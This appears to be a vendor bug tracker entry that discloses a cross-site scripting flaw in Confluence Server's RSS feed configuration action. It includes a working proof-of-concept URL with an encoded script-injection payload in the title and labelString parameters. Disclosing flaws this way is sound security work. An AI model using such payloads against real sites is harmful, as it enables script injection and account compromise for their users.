XSS in doconfigurerssfeed.action

XMLWordPrintable

    • 7.5

      NOTE: This bug report is for Confluence Server. Using Confluence Cloud? See the corresponding bug report.

      Filed by vosipov on behalf of write.muhammadwaqar.

      
http://$hostname/dashboard/doconfigurerssfeed.action?types=page&pageSubTypes=comment&pageSubTypes=attachment&types=blogpost&blogpostSubTypes=comment&blogpostSubTypes=attachment&types=mail&spaces=conf_all&title=%23%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%281%29%3B%3E&labelString=%23%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%281%29%3B%3E&excludedSpaceKeys=&sort=modified&maxResults=11&timeSpan=5&showContent=true&showDiff=true&confirm=Create+RSS+Feed

      Works in Firefox.
      note title and labelstring parameters need encoding.

            Assignee:
            Chii (Inactive)
            Reporter:
            Muhammad Waqar
            Votes:
            0 Vote for this issue
            Watchers:
            6 Start watching this issue

              Created:
              Updated:
              Resolved: